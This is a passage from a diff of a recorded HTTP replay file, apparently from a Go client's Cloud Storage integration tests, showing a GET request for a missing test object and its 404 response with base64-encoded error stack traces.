WluLCBmaWx0ZXJlZE1lc3NhZ2U9bnVsbCwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLm5hbWUsIG1lc3NhZ2U9Tm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEsIHVubmFtZWRBcmd1bWVudHM9W119LCBsb2NhdGlvbj1lbnRpdHkucmVzb3VyY2VfaWQubmFtZSwgbWVzc2FnZT1ObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMSwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajE6IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpPQkpFQ1RfTk9UX0ZPVU5EOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajEifX0=" - } - }, - { - "ID": "4d7120b41e583669", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/copy-obj1?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12215" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:18 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:18 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoJ1cGOQjoNiRk8qv-igyccVp3Vg_ut7NLSEO3A-yyQwgGnoXR5jPbi3tuomYWrS57GIvd6GpShkcAYSIJ2e94Jx_1SseYkYtlSF8a7qsDU0OVFYgM" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxIiwiZGVidWdJbmZvIjoiY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6Ok9CSkVDVF9OT1RfRk9VTkQ6IE5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkdldE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0T2JqZWN0LmphdmE6MzA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTo3MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5nZXQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjgxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6T0JKRUNUX05PVF9GT1VORDogTm8gc3VjaCBvYmplY3Q6IGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jb3B5LW9iajFcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuR2V0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChHZXRPYmplY3QuamF2YTozMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjcwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmdldChPYmplY3RzRGVsZWdhdG9yLmphdmE6ODEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IE5vIHN1Y2ggb2JqZWN0OiBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY29weS1vYmoxXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPW5vdEZvdW5kLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5OT1RfRk9VTkQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpPQkpFQ1RfTk9UX0ZPVU5EOiBObyBzdWNoIG9iamVjdDogZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NvcHktb2JqMVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5HZXRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEdldE9iamVjdC5qYXZhOjMwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkdldE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoR2V0T2JqZWN0LmphdmE6NzApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZ2V0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo4MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozO